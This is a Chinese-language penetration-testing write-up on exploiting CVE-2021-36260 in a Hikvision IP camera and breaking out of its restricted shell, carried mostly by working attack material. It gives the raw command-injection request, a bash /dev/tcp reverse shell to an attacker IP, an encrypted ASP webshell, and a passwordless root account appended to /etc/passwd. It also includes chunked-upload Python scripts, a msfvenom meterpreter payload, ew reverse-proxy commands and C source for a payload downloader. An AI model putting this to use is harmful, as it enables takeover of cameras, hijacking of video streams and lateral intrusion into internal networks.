0x00 简介
在一次服务项目中，涉及到对海康威视摄像头的攻击利用，要求获取摄像头的 shell，建立代理，之后做两件事
-
内网横向攻击 -
劫持视频流
由于环境中的海康威视的摄像头系统版本本身存在漏洞，所以正常来说应该不难，但找到了我们应该是遇到了什么问题，经过测试发现海康威视对设备的 shell 进行了定制，进行了各种功能阉割
接下来我们探索一下这种受限的 shell 如何突破
由于现场环境只提供了一小段时间，而且海康威视的系统似乎不是很容易用虚拟机进行搭建，为给大家提供最真实的体验，我特意买了一个海康威视的设备进行测试，型号
DS-2CD2310-I
0x01 CVE-2021-36260
漏洞公告
https://www.hikvision.com/cn/support/CybersecurityCenter/SecurityNotices/20210919/
漏洞分析文章
https://kms.app/archives/399/
http://f0und.icu/article/31.html
PoC 地址
https://github.com/Cuerz/CVE-2021-36260
https://github.com/Aiminsun/CVE-2021-36260
简单来说就是系统通过 web 方式以 xml 格式传递标签，标签解析过程中没有做完善的安全验证，导致在后台命令拼接过程中造成了命令注入
PoC 数据包如下
PUT /SDK/webLanguage HTTP/1.1
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: x.x.x.x
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: en-US,en;q=0.9,sv;q=0.8
Content-Length: 71
<?xml version="1.0" encoding="UTF-8"?><language>$(ls -l>webLib/c)</language>
上面的命令将 ls -al 的执行结果写入到了当前目录下的 webLib/c 文件中，接下来直接访问根目录的 /c 就可以了
看分析文章中写过，也可以将 $ 换成 #，实际测试一下（仅在我买的摄像头下测试），并不可行
URL编码后
Railgun 工具中正好集成了这个漏洞，直接用工具执行，免得每次要发两次请求查看
https://github.com/lz520520/railgun
0x02 建立稳定控制
正常来说到这里就很简单了，直接 curl 或 wget 一个控制程序就可以上线了
1. 远程下载
curl 或者 wget
可以看到并没有 payload.elf
下载服务器这边也没有发现访问情况
还是没有访问
难道没有这两个命令吗？ 使用 which 和 whereis 查找一下，先拿 pwd 程序测试一下
命令执行并没有结果返回，这里有很多可能，例如系统中的 pwd 仅是 shell 内置命令，没有外部文件，这个可以参考之前的文章 《LD_PRELOAD 劫持 PWD 为什么失败了 | Linux 后门系列》
https://mp.weixin.qq.com/s/InMQaKOwns2mEIp5yF8dDw
还有可能是 whereis 和 which 命令本身就不存在
这个验证起来简单，找一个在环境变量 PATH 中的，一定存在的程序进行查找，对比结果
可以看到我们还是 root 用户权限，PATH 结果如下
PATH=/sbin:/usr/sbin:/bin:/usr/bin
可以看到，此设备的 shell 环境是由 busybox 提供的，那我们就以 busybox 程序为例
看来没有这两个程序，这样查看命令和工具是否存在就只能通过环境变量 PATH 和 busybox 内置列表了
可以看到，文件下载相关的命令 ftp、scp、rsync 等并不支持
[, [[, ash, awk, bash, cat, chmod, cp, date, df, dmesg, du, echo, env, false, fdisk, free, fsync, gunzip, gzip, halt, hwclock, ifconfig, init, insmod, iostat, kill, linuxrc, ln, login, ls, lsmod, lzcat, lzma, mdev, mkdir, mkdosfs, mkfs.vfat, mknod, modprobe, mount, mpstat, mv, netstat, ping, ping6, poweroff, ps, pwd, reboot, rm, rmmod, route, sed, sh, sleep, stty, sync, tail, tar, test, top, touch, true, umount, unlzma, zcat
和外部网络搭边儿的也就是 ping 相关的命令
2. 反弹 Shell
-
bash -
nc、telnet -
编程语言环境
bash -i >& /dev/tcp/192.168.1.125/4444 0>&1
难道是不出网？ 测试一下 ping
ping -t 1 192.168.1.125
失败，看来似乎是不支持
nc -nv 192.168.1.125 4444
失败，确实也是没看到 nc 或者 netcat 命令，去环境变量的执行路径里找一下
经过测试，命令执行环境对 ; 和 | 支持不是很好，而且没有 grep ,只能 ls -al 取结果我们这边分析了
没有找到 nc 和 netcat 之类的，可执行文件中其实主要就是/bin下的 busybox 提供的命令以及 da_info 提供的，显然后面这个大概率是海康威视自己开发的，这些命令都和实际产品功能紧密相关
可以看到这是个动态链接的 ELF 文件，还是 ARM 架构的，还去除了符号信息
可以通过命令枚举或者ELF逆向分析查看这其中会不会有可以远程下载或者远程控制的方法，但这个 da_info 可能仅是海康的设备上的，不是通用的方法，我们不对这个进行深入研究，仅仅是通过执行该程序看看 banner
没有找到可以直接利用的
编程语言环境也没有发现
3. Webshell
这本身是个 web 系统啊，还是 asp 的，啊？ Linux 上的 asp 还真是少见，我直接写一个 asp 的木马进去不就完了吗？
先找到 web 路径，从漏洞利用 PoC 可以知道，./webLib 对应的应该就是根目录
直接访问 index.asp 和 dispatch.asp 会跳转到登录口 /doc/page/login.asp ，那就先找一下登录页面相关的路径吧，这样可能更容易访问一些，绝对路径如下
/home/webLib/doc/page
通过 echo 写入 Webshell
<%
Response.CharSet = "UTF-8"
k="e45e329feb5d925b" '该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond
Session("k")=k
size=Request.TotalBytes
content=Request.BinaryRead(size)
For i=1 To size
result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))
Next
execute(result)
%>
这里用 Railgun 就不是很方便了，用 Burpsuite 吧
这里分两次写是因为这个漏洞可执行的命令长度有限制，而且还不太统一
访问 webshell
看起来似乎没有解析呀，冰蝎连接一下，有枣没枣打三竿
不出所料，连接不上
为什么会不解析呢？ 看一下其他的 asp 文件，难道有什么特殊的吗
好像没有什么 asp 的代码呀
看来这并不是什么 asp，而可能是一种自定义解析的格式
系统中没有 lsof ，所以用 netstat 看看到底是哪个程序起的 80 端口
可以看到，是由一个叫做 davinci 的程序，在网上也没有找到相关资料，好像是和一个剪辑软件重名了
于是尝试找到这个程序
ls -al /proc/331/exe
就在当前目录下，但是被删除了，根据 《Linux 应急响应手册》小技巧 -> 0x08 数据恢复，尝试恢复该程序
fd 文件夹下有很多内容，但是并没有找到 deleted 标志的，在 maps 文件中可以看到 davinci 在内存中的位置
如果想从内存中重建文件不是很容易，而且现在关键问题是也无法上传文件工具，能上传早就控制了
发文件的过程中发现以下文件
/home/davinci.lzma // 压缩后的程序， lzma -d davinci.lzma 可以解压
/dav/davinci_bak
可以考虑对程序进行逆向分析，直接执行均未发现可利用的点
4. SSH
上面首先是尝试了反向控制相关的远程下载、反弹shell，也尝试了正向控制中的 Webshell，都没有成功，由于是测试环境，我是知道它是出网的，所以没有测试出网情况。
没有 nc、telnet 之类的工具，就只能使用现有的服务来监听端口了，ssh 服务是一个不错的选择，这也是 PoC 中利用的方式
海康威视的这个摄像头的 ssh 是通过 dropbear 起的，而不是 OpenSSH
https://matt.ucc.asn.au/dropbear/dropbear.html
这导致之前启动 OpenSSH 的命令怎么都没效果
当前 ssh 似乎是没有开，但是从 netstat 的命令执行结果上看是开了
PoC 中使用 dropbear -R -B -p 1337 在 1337 端口设置监听，还新建了一个不需要密码的账户
这个摄像头的操作系统是通过 /etc/passwd 管理账户及密码的，我们既然是 root 权限，可以直接添加账户进去了
1) 添加账户
echo "P::0:0:W:/:/bin/sh" >> /etc/passwd
这种涉及到重定向的操作就不要在 Railgun 中执行了，可能是因为要显示结果，所以默认就带了输出重定向，和我们的重定向互相冲突，用 Burpsuite 就好了
2) 创建新的 SSH 监听
dropbear -R -B -p 1337
这条命令也在 Burpsuite 中执行，不知道为什么 Railgun 中执行会没有效果
-
-R：根据需要创建主机密钥 -
-B：允许空密码登录 -
-p 1337：该选项表示启动 Dropb
3) SSH 连接测试
成功登录 SSH
喜欢使用 FinalShell 的朋友需要注意，FinalShell 目前还不支持没有密码的 SSH 连接
4) 添加一个有密码的账户
不写公钥，写账户是因为写账户比较简单易操作，有密码和无密码其实差别就在于 /etc/passwd 的第二位
我们可以按照当前操作系统的规则生成一个密码，以创建 user/userpass 为例
$1$yi$edpzE7hM/R4nw3PnFuiVL/
admin 的hash含义是密码经过了 md5 加密并且盐(salt) 值为 yi
在我们自己的 Ubuntu 上安装 whois ，并通过 mkpasswd 生成 Hash
sudo apt install whois
mkpasswd -m md5 --salt=SaltValue userpass
mkpasswd 要求盐值不少于 8 为，我们就以 12345678 作为盐值
$1$12345678$sEgioVKWacw6d9iYXc1P4/
拼接后完整如下
user:$1$12345678$sEgioVKWacw6d9iYXc1P4/:0:0:W:/:/bin/sh
直接通过 SSH，使用 cat将内容写入到 /etc/passwd ,千万记得要用追加写 >>,而且 $ 需要转义 $
这 ssh 还设置了一些安全策略，错误的密码登录后（例如通过 FinalShell 登录尝试），会导致IP封禁
使用 user/userpass 通过 FinalShell 登录
至此，已经成功获取了 ssh shell，上面的部分内容都是铺垫，接下来就是今天要详细探讨的内容
0x03 突破受限的shell
目前虽然获取到了 SSH 的权限，但是无法上传文件，建立代理
1. SSH 传输文件
cat payload.elf | ssh -v -p 1337 [email protected] 'cat > payload.elf'
很可惜，失败了
2. SFTP/SCP/FTP
既然 FinalShell 都可以连接上了，是不是可以直接利用其传文件了
FinalShell 默认会使用 SFTP 或 SCP ，FinalShell 报错估计这几个协议肯定是都不行，但还是要测试一下
1) SCP
scp -v -P 1337 payload.elf [email protected]:/home/payload.elf
失败，查询资料后发现默认 Dropbear 是不支持 SCP 的
2) SFTP
sftp -P 1337 [email protected]
失败，查询资料后发现默认 Dropbear 不支持 SFTP
3) FTP
并没有 21 等端口开放
3. Bash 反弹shell
之前失败了，由于之前显示不全，不知道失败的原因，现在可以重新试试
看来 busybox 把这个功能去掉了，包括UDP
4. 通过 Web 后台尝试上传
CVE-2021-36260 的作者 Watchful_IP 在漏洞描述过程中介绍了可以在获取 SSH shell 后通过禁用 web 认证的方式使用任意密码登录
https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html
但是作者没有详细介绍如何实现的，下面是 Github 上安全研究人员关于这件事的讨论，简单来说就是修改其中的数据库，添加一个账户，之后重启，但是对我们来说目前还无法上传工具呢，更别说修改 Sqlite 数据库了
https://github.com/jorhelp/Ingram/discussions/9
5. 利用 SSH 隧道
既然 SSH 已经建立好了，可以直接利用其隧道功能，进而对内网进行攻击呀
这里就不用命令行了，有一个工具可以很直观的配置隧道 —— MobaXterm
https://mobaxterm.mobatek.net/
这就很直观了，我们选择动态端口转发，按照提示填写本地代理监听端口以及作为中转的SSH服务器信息
点击开始按钮
通过 Proxifier 配置代理，测试是否成功
https://www.proxifier.com/
这里将 127.0.0.1 这种本地流量都走代理，浏览器访问 127.0.0.1
代理成功，但是这还不是很明显，建立代理的这台 Windows 网段为 192.168.31.x ，我们在 192.168.1.x 段找一台服务器，禁止来自 192.168.31.x 以及路由 192.168.1.97 的连接，这样就可以测试代理是否成功
模拟隔离主机: 192.168.1.126
规则如下：
-
允许 192.168.1.0/24 访问 80 -
禁止 192.168.1.97（路由器） 访问 80 -
禁止 192.168.31.0/24 (攻击机) 访问 80 -
禁止 192.168.1.125 (VPS) 访问 80
安装 apache2
sudo apt install apache2
攻击机关闭代理后可以直接访问其 80 端口
添加防火墙
通过自带的 ufw 来完成
# 启用防火墙
sudo ufw enable
# 添加拒绝访问 192.168.1.97 的规则
sudo ufw deny from 192.168.1.97
# 添加拒绝访问 192.168.31.0/24 网络的规则
sudo ufw deny from 192.168.31.0/24
# 添加拒绝访问 192.168.1.125 的规则
sudo ufw deny from 192.168.1.125
# 添加允许访问 80 端口的规则
sudo ufw allow from 192.168.1.0/24 to any port 80
攻击机关闭代理后访问 80 端口
使用海康威视摄像头作为代理，再次访问
成功建立了一条通向内网的代理
6. 通过 echo 写文件
一般到上一步代理搭建完成，就继续进行横向渗透了，但是并不是所有的 RCE 都能有机会建立 ssh 隧道，我们要找到一条更加通用的方法，最通用的方法应该就是 echo 写文件了
如果是文本文件，我们直接通过 cat 就可以写进去，但是二进制可执行文件用 cat 就不是很好写了，上面我们也尝试了通过管道 + cat ，也失败了
如果想将一个二进制可执行文件写入这个过程用 PoC 来完成，需要让二进制可执行文件以可读字符的形式进行编码，对于常规系统，经常将二进制可执行文件进行 base64 编码，之后传递，但是在受限的 shell 中，并没有提供 base64 解码工具，所以这次得用 16 进制格式进行编码，编码后的内容通过 echo -n -e 写入到文件中
-
-n 禁止添加换行符 -
-e 启用转义字符的解析
这两个选项有效地将 16进制表示的二进制可执行文件一点一点写入到文件中
所以这里涉及两个步骤
-
将二进制可执行文件转化为 x00这种格式 -
循环将文件一点一点写进去
这里直接用一个 Python 脚本来完成
import requests
import sys
import urllib.parse
def read_string(string, chunk_size=2000):
start = 0
while start < len(string):
end = start + chunk_size
chunk = string[start:end]
yield chunk
start = end
# 构建请求头部
headers = {
'User-Agent': 'python-requests/2.22.0',
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Connection': 'close',
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
}
def sendPayload(target, poc_data):
# 设置要发送的数据
data = '<?xml version="1.0" encoding="UTF-8"?><language>$(echo -n -e "' + poc_data + '" >> webLib/payload.elf)</language>'
url = urllib.parse.urljoin(target, 'SDK/webLanguage')
# 发送请求
response = requests.put(url, headers=headers, data=data)
# 检查响应状态码等，确保请求成功
if response.status_code == 500:
return True
return False
if len(sys.argv) < 3:
print("Usage: python script.py <target_address> <file_path>")
sys.exit(1)
target = sys.argv[1]
file_path = sys.argv[2]
with open(file_path, 'rb') as file:
elf_data = file.read()
hex_string = ''.join(['\x{:02x}'.format(byte) for byte in elf_data])
hex_string_len = len(hex_string)
print(hex_string_len)
# 动态设置 Host 字段
headers['Host'] = urllib.parse.urlparse(target).netloc
i = 0
for chunk in read_string(hex_string, chunk_size=120):
result = sendPayload(target, chunk)
if not result:
print('send again')
result = sendPayload(target, chunk)
if result:
print(str(i) + '/' + str(hex_string_len))
i += 120
else:
print('Request failed.')
sys.exit(1)
print('Over')
1) 生成 Payload 文件
直接使用 MSF 进行生成，我们需要知道 CPU架构、32 还是 64 位处理器、大端还是小端
类似 arch、lscpu 这些命令在当前环境中都没有，可以通过下面的命令进行查看
cat /proc/cpuinfo
可以看到 CPU 为 ARM926EJ-S rev 5 (v5l) ，经过查询是一款 ARM 架构，32 位的CPU
大小端这个事我们可以从服务器上下载几个可执行文件，看看它们是大端还是小端的
以 /bin/da_info 和 /bin/busybox 为例
通过 Ghidra 进行分析
https://github.com/NationalSecurityAgency/ghidra
直接将文件拖进 Ghidra 就可以了，此步骤建议在虚拟机中进行
可以看到，显示的都是 LE ，小端
接下来通过 msfvenom 生成 payload
msfvenom -p linux/armle/meterpreter/reverse_tcp -a armle RHOST=192.168.1.125 RPORT=443 --platform linux -f elf -o payload.elf
只有 344 个字节大小
2) 通过echo写入到服务器
通过之前的部分我们可以知道，攻击数据包是有大小限制的，具体限制是多少还不是固定的，每种设备不一样
我们可以通过下面的脚本进行粗略测试
import requests
import sys
import urllib.parse
# 构建请求头部
headers = {
'User-Agent': 'python-requests/2.22.0',
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Connection': 'close',
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
}
def sendPayload(target, poc_data):
# 设置要发送的数据
data = '<?xml version="1.0" encoding="UTF-8"?><language>$(echo -n -e "' + poc_data + '" > webLib/payload.txt)</language>'
url = urllib.parse.urljoin(target, 'SDK/webLanguage')
# 发送请求
response = requests.put(url, headers=headers, data=data)
# 检查响应状态码等，确保请求成功
if response.status_code == 500:
return True
return False
def getPayloadLength(target):
url = urllib.parse.urljoin(target, 'payload.txt')
response = requests.get(url, headers=headers)
p_length = len(response.text)
return p_length
def testPayloadLength(target):
# 动态设置 Host 字段
headers['Host'] = urllib.parse.urlparse(target).netloc
# 测试数据包长度限制
length = 4
while True:
chunk = 'A' * length
result = sendPayload(target, chunk)
p_length = getPayloadLength(target)
if result and length > p_length:
print(f"Payload length: {length - 4}")
break
length += 4
if len(sys.argv) < 2:
print("Usage: python script.py <target_address>")
sys.exit(1)
target = sys.argv[1]
testPayloadLength(target)
如果你自己修改了脚本，建议这个数字再小一点，减少 4 的整数倍，这里就以 180 为例，修改echo写入脚本
import requests
import sys
import urllib.parse
def read_string(string, chunk_size=100):
start = 0
while start < len(string):
end = start + chunk_size
chunk = string[start:end]
yield chunk
start = end
# 构建请求头部
headers = {
'User-Agent': 'python-requests/2.22.0',
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Connection': 'close',
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
}
def sendPayload(target, poc_data):
# 设置要发送的数据
data = '<?xml version="1.0" encoding="UTF-8"?><language>$(echo -n -e "' + poc_data + '" >> webLib/payload.elf)</language>'
url = urllib.parse.urljoin(target, 'SDK/webLanguage')
# 发送请求
response = requests.put(url, headers=headers, data=data)
# 检查响应状态码等，确保请求成功
if response.status_code == 500:
return True
return False
if len(sys.argv) < 3:
print("Usage: python script.py <target_address> <file_path>")
sys.exit(1)
target = sys.argv[1]
file_path = sys.argv[2]
with open(file_path, 'rb') as file:
elf_data = file.read()
hex_string = ''.join(['\x{:02x}'.format(byte) for byte in elf_data])
hex_string_len = len(hex_string)
print(hex_string_len)
# 动态设置 Host 字段
headers['Host'] = urllib.parse.urlparse(target).netloc
i = 0
for chunk in read_string(hex_string, chunk_size=180):
result = sendPayload(target, chunk)
if not result:
print('send again')
result = sendPayload(target, chunk)
if result:
print(str(i) + '/' + str(hex_string_len))
i += 180
else:
print('Request failed.')
sys.exit(1)
print('Over')
3) MSF 监听端口
4) 添加权限并执行 payload
成功反弹shell 并测试上传文件
成功上传文件
5) 建立代理
https://github.com/fatedier/frp
https://github.com/fatedier/frp/releases/download/v0.55.1/frp_0.55.1_linux_arm.tar.gz
下载 arm 32位版本的
在尝试通过 meterpreter 进行上传 frp 时，结果传到一半，meterpreter 就断了，之后就出现了
看来是重启了，之前所有的操作没了，这用来做痕迹清除可太方便了
咱就不苦中作乐了，现在有两种思路
-
meterpreter继续上传 -
直接将 frp等echo进去 -
可以先 echo一个最简单的下载器进去 -
下载器可以不是通用下载，只是从某个地址下载某个文件，可能体积更小
选择哪个方法呢？ 在我看来 meterpreter 的方法更优，但是我们两个都实现一下，这一部分先实现 meterpreter
再次利用脚本上传、建立监听、赋予权限并执行
上传 frp
好吧，看来这个海康威视设备的性能确实不支持我们直接传递 11 M的程序
上传 ew
ew 小多了，只有 195K
创建代理
https://github.com/idlefire/ew
攻击机VPS (192.168.1.125) 模拟公网IP
./ew -s rcsocks -l 1080 -e 8888
建立代理监听 1080 端口，并将数据通过 8888 端口传递出去
受害摄像头(192.168.1.64)
./ew -s rssocks -d 192.168.1.125 -e 8888
攻击机物理机（192.168.31.x）
在上一步我们做了隔离，192.168.1.126 只允许同网段非 192.168.1.97 访问
使用 socks5://192.168.1.125:1080 访问 http://192.168.1.126
尝试用代理访问
成功建立代理
0x04 利用下载器
这部分坑特别多，我耗费了几天才找到解决办法，接下来将展示踩坑过程，我会尽量简洁，忽略小坑
通过上面的步骤，我们已经可以完成实际控制，但是直接写入木马或者代理对部分设备本身来说可能有不小的压力，尤其是这种嵌入式设备，我这次测试就被迫重启了好多好多次，每次重启设备上的木马等痕迹就完全清空了
想象一下我们先传输了 MSF 木马，之后利用 meterpreter 传输了代理或者攻击程序，利用了一小会儿设备崩了，重启，一切又回到原样了，于是我们就进入了循环，但问题是，这些循环是人来驱动的，并不工程化，这不是实际攻击实施过程中追求的
我们更希望这部分内容是工程化的，而且由于指令集的不同，各种木马程序和代理程序是否能够兼容也是一个巨大的问题
这节我们要介绍一些恶意攻击者常用的思路，也就是先传输小的下载器进去，之后利用下载器下载真正的payload，当然了，其实写入 meterpreter 的本质也是一样的
可能有小伙伴会说，这不难呀，有必要单独说吗？
这里单独拿出来写是因为涉及到下载器编写、跨平台编译等，我们先看一下成型的下载器
wget 和 curl 由于做了很多功能，所以比较大，还不如直接写入一个 ew 了
1. 编写下载器
下面我们来写一个最小的下载器，功能就下载 http://192.168.1.125/a
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/stat.h>
#include <sys/types.h>
#define BUFFER_SIZE 4096
int main(void) {
const char *host = "192.168.1.125";
const char *path = "/a";
const char *output_file = "payload";
const int port = 80;
struct sockaddr_in server_address;
int sockfd, filefd;
char request[256];
char buffer[BUFFER_SIZE];
ssize_t bytes_read;
int start_writing = 0; // Flag to start writing to file
// Create socket
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
fprintf(stderr, "Error creating socketn");
return 1;
}
// Set server address
memset(&server_address, 0, sizeof(server_address));
server_address.sin_family = AF_INET;
server_address.sin_port = htons(port);
if (inet_pton(AF_INET, host, &(server_address.sin_addr)) <= 0) {
fprintf(stderr, "Invalid address or address not supportedn");
close(sockfd);
return 1;
}
// Connect to server
if (connect(sockfd, (struct sockaddr *)&server_address, sizeof(server_address)) < 0) {
fprintf(stderr, "Error connecting to servern");
close(sockfd);
return 1;
}
// Send HTTP GET request
snprintf(request, sizeof(request), "GET %s HTTP/1.1rnHost: %srnrn", path, host);
if (write(sockfd, request, strlen(request)) < 0) {
fprintf(stderr, "Error sending requestn");
close(sockfd);
return 1;
}
// Open output file
filefd = open(output_file, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR);
if (filefd < 0) {
fprintf(stderr, "Error opening file for writingn");
close(sockfd);
return 1;
}
// Read and write response data
while ((bytes_read = read(sockfd, buffer, BUFFER_SIZE)) > 0) {
// Check if the response headers have ended
if (!start_writing) {
char *body_start = strstr(buffer, "rnrn");
if (body_start != NULL) {
start_writing = 1;
bytes_read -= (body_start - buffer + 4);
memcpy(buffer, body_start + 4, bytes_read);
} else {
continue;
}
}
if (write(filefd, buffer, bytes_read) < 0) {
fprintf(stderr, "Error writing to filen");
close(filefd);
close(sockfd);
return 1;
}
}
// Check for read error
if (bytes_read < 0) {
fprintf(stderr, "Error reading responsen");
close(filefd);
close(sockfd);
return 1;
}
// Close file and socket
close(filefd);
close(sockfd);
return 0;
}
如果再追求小，可以将部分错误处理去掉，同时将输出到文件也去掉，直接输出到标准输出，之后执行的时候通过重定向到文件来完成文件保存
2. 尝试编译程序
大部分朋友的设备都是 x86 的，我们需要在 x86 的 CPU 上编译 arm 架构的程序
本次操作环境为 Ubuntu Server 22.04 x86_64
1) gcc
系统上直接 apt install gcc 安装的 gcc 显然是不能用于编译了，得安装目标平台专用的gcc，这个时候我才发现，单arm 相关 gcc 来说至少有以下几种
-
arm-none-eabi-gcc -
aarch64-linux-gnu-gcc -
arm-linux-gnueabi-gcc -
arm-linux-gnueabihf-gcc
这个时候发现 ARM 架构版本之类的挺复杂，gcc 分类方法就有以下几种
Arm架构上的不同版本的GCC（GNU Compiler Collection）之间的主要区别体现在以下几个方面：
-
目标架构支持： -
GCC的不同版本可能支持不同的Arm架构，比如ARMv5TE、ARMv7-A、ARMv8-A（AArch32/AArch64）等。每个版本可能在对特定架构特性的支持程度上有差异，例如浮点运算单元（FPU）、Thumb模式、NEON SIMD扩展等。 -
ABI兼容性： -
ABI（Application Binary Interface）决定了二进制文件如何与操作系统交互。不同的GCC版本可能遵循不同的ABI规范，如EABI（Embedded ABI）、Hard/Soft Float ABI等。这些规范会影响到函数调用约定、数据类型布局等。 -
C++标准库支持： -
不同版本的GCC支持的C++标准也会有所不同，比如C++98、C++11、C++14、C++17等。 -
优化程度和bug修复： -
新版本的GCC通常包含对编译器优化算法的改进和bug修复，这会影响编译出的程序性能和稳定性。 -
工具链完整性： -
不同版本的GCC交叉编译工具链可能包含不同的组件集，如binutils（as、ld）、glibc/musl/uClibc等不同C库的适配。 -
安全特性： -
新版本的GCC可能增加了对特定安全特性的支持，如stack protector、address sanitizer、undefined behavior sanitizer等。
我们的 CPU 信息
Processor : ARM926EJ-S rev 5 (v5l)
BogoMIPS : 218.72
Features : swp half thumb fastmult edsp java
CPU implementer : 0x41
CPU architecture: 5TEJ
CPU variant : 0x0
CPU part : 0x926
CPU revision : 5
Hardware : r2
Revision : 0000
Serial : 0000000000000000
我们选择 arm-linux-gnueabi-gcc 这个 gcc
sudo apt update
sudo apt install gcc-arm-linux-gnueabi
2) 尝试编译并上传执行
先以最简单的 hello wrold 为例，测试没问题后再编译我们的下载器
#include <stdio.h>
int main() {
printf("Hello, World!n");
return 0;
}
执行结果显示 -sh: ./payload.elf: not found ，这什么情况？
3. 寻找问题原因
1) 检查 hash
难道是传输过程中文件不完整？
不是这个原因，这说明是文件本身有问题
2) 增加编译参数
可能是编译过程中参数有问题，经过查询，发现可以设置 ARM 的架构以及CPU参数
arm-linux-gnueabi-gcc -march=armv5tej -mtune=arm926ej-s hello.c
还是这个结果
3) 使用汇编语言测试
用汇编语言写 hello wrold ，之后用我们选择的编译器进行编译、连接，看看是否也会这样
.data
msg:
.ascii "Hello, world!n"
.text
.global _start
_start:
mov r0, #1 @ stdout file descriptor
ldr r1, =msg @ address of the message
ldr r2, =13 @ length of the string (including newline)
mov r7, #4 @ syscall number for write()
syscall_write:
svc #0 @ make system call
mov r7, #1 @ syscall number for exit()
mov r0, #0 @ exit code
syscall_exit:
svc #0 @ make system call to exit
编译、链接
arm-linux-gnueabi-as hello_world.s -o hello_world.o # 编译为目标文件
arm-linux-gnueabi-ld -o hello_world hello_world.o # 链接目标文件为可执行文件
可以看到汇编程序可以成功执行，那就说明编译器没有选择错，代码肯定也没有问题，那就是 libc 出了问题
原本我想用汇编写一个下载器，但是我不会 ARM 汇编，遂作罢
4) 检查动态链接器
难道说目标系统上不存在动态链接器吗？
目标环境中检查动态链接器
果然，目标系统上的动态链接器是 uClibc，我们尝试新建一个文件，命名为 /lib/ld-linux.so.3 ，之后看看我们的程序在这前后执行有没有什么不同
问题原因找到了，看来是 libc 的原因，这样我们就有两条路可以走了
-
静态编译 -
编译 uClibc为动态链接器的程序
5) 静态编译
这个简单，只需要加一个 -static 参数就可以了
arm-linux-gnueabi-gcc -march=armv5tej -mtune=arm926ej-s -static hello.c
静态编译后大小有 567K ，与 ew 差不多，567K 通过 echo 写入需要非常长的时间，最关键的是，传输到不到一半就会导致摄像头崩溃，重启，之后一切都重来，但是我们可以通过在每次发包之间加入时间延时来解决
这里我就直接用 MSF 上传上去了
好家伙，没有活路了呀，静态编译都显示内核太老了，难道我还再整个低版本内核的系统进行编译吗？
6) 编译 uClibc
还是编译 uClibc 吧，之后动态链接
https://uclibc.org/
我们也选择 0.9.32.1 版本
# 下载 uClibc
wget https://uclibc.org/downloads/uClibc-0.9.32.1.tar.xz
# 解压
tar -xf uClibc-0.9.32.1.tar.xz
# 配置
make menuconfig
Target Architecture 选择 arm
Target Architecture Features and Options
Target ABI -> EABI
Target Processor Type -> Arm 926T
Target Processor Endianness -> Little Endian
保存
编译
make
sudo make install
报错了，难道 gcc 不支持 -mlittle-endian 参数吗，测试一下
arm-linux-gnueabi-gcc 没问题呀，难道编译用的是系统的 gcc 吗
果然，我们既然是给 ARM 平台使用的，那就需要使用 arm-linux-gnueabi-gcc 进行编译
再次 make menuconfig
uClibc development/debugging options
Cross-compiling toolchain prefix -> arm-linux-gnueabi-
再次
make
make install
再次报错
看这样我们需要配置 kernel headers
Target Architecture Features and Options
Linux kernel header location
再次 make
又有新的报错，到这里查询网上资料我也不知道该如何解决了
看看 uClibc 官网，发现了这个
https://uclibc.org/toolchains.html
这里面说要编译 GNU binutils、GCC、uClibc 形成一个工具链，在后面我们发现了一个好东西 —— buildroot，网上查询之后，类似的工具还不少
https://buildroot.org/
7) buildroot
https://buildroot.org/
安装过程参考
https://www.zhiwanyuzhou.com/index.php/2022/07/17/%E4%BD%BF%E7%94%A8buildroot%E5%88%B6%E4%BD%9C%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%91%E5%B7%A5%E5%85%B7%E9%93%BE/
官方手册
http://nightly.buildroot.org/manual.pdf
# 安装部分依赖软件
sudo apt update
sudo apt install gcc make libncurses5-dev
sudo apt install qemu-user
# 下载
wget https://buildroot.org/downloads/buildroot-2024.02.tar.gz
# 解压
tar -zxvf buildroot-2024.02.tar.gz
cd buildroot-2024.02/
# 编译配置
make menuconfig
熟悉的页面又回来了
Target options
Target Architecture -> ARM (little endian)
Target Architecture Variant -> arm926t
这部分剩下不需要动
Toolchain
C library -> uClibc-ng
Kernel Headers -> Manually specified Linux version
linux version -> 3.0.8
Custom kernel headers series -> 3.0.x
Enable C++ support -> *
这里面的内核版本 3.0.8 是通过在目标系统执行 cat /proc/version 得到的
保存
# 编译
make toolchain -j4 V=0
这部分如果报错都好解决，例如安装 g++
这部分非常非常长，就连
uClibc官网都建议我们去吃一个美味健康的三明治，喝一杯汽水，给朋友打电话，玩玩电子游戏，然后找点事情做，我就去吃个饭吧
在这个过程中会下载大量的文件，如果空间不够会导致失败，由于我之前测试已经在其他目录编译过了，这次出现了编译失败，删除文件腾出空间后编译成功，总大小如下
可以在编译所在的目录的相对目录找到编译好的gcc
./output/host/bin/
将该文件夹添加到环境变量中
echo "export PATH=$PATH:$(pwd)" >> ~/.bashrc
source ~/.bashrc
测试一下
arm-linux-gcc --version
成功添加至环境变量，可以在任意目录直接调用了
4. 再次尝试编译程序
1) 静态编译
arm-linux-gcc -static hello.c
使用 qemu 模拟测试执行成功了，体积有 113K 大小，通过 meterpreter 上传到目标系统上去
成功执行！！！ 但是 113K 这个大小还是有点大了，尝试编译动态链接的程序
2) 编译动态链接程序
arm-linux-gcc hello.c
大小 7.3K ，看看是否可以运行，这么点大小这次直接用 PoC 上传
成功啦！！！
